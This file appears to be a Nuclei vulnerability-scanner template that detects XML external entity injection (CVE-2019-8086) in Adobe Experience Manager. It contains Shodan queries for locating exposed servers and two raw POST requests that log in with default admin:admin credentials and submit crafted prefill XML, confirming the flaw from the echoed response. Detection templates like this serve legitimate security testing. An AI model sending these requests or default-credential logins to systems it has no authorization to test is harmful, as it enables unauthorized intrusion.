nuclei-templates/http/cves/2019/CVE-2019-8086.yaml

id: CVE-2019-8086

info:
  name: Adobe Experience Manager - XML External Entity Injection
  author: DhiyaneshDk
  severity: high
  description: Adobe Experience Manager 6.5, 6.4, 6.3 and 6.2 are susceptible to XML external entity injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  remediation: |
    Apply the necessary security patches provided by Adobe to mitigate the vulnerability. Additionally, ensure that the server is properly configured to restrict access to sensitive files and prevent XXE attacks.
  reference:
    - https://speakerdeck.com/0ang3el/a-hackers-perspective-on-aem-applications-security?slide=13
    - https://github.com/0ang3el/aem-hacker/blob/master/aem_hacker.py
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2019-8086
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8086
    - https://helpx.adobe.com/security/products/experience-manager/apsb19-48.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8086
    cwe-id: CWE-611
    epss-score: 0.14515
    epss-percentile: 0.95181
    cpe: cpe:2.3:a:adobe:experience_manager:6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: adobe
    product: experience_manager
    shodan-query:
      - http.title:"AEM Sign In"
      - http.component:"Adobe Experience Manager"
  tags: cve,cve2019,aem,adobe

http:
  - raw:
      - |
        POST /content/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46YWRtaW4=
        Referer: {{BaseURL}}

        sling:resourceType=fd/af/components/guideContainer
      - |
        POST /content/{{randstr}}.af.internalsubmit.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46YWRtaW4=
        Referer: {{BaseURL}}

        guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<afData>\u0041\u0042\u0043</afData>"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<afData>ABC<afBoundData/>'

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
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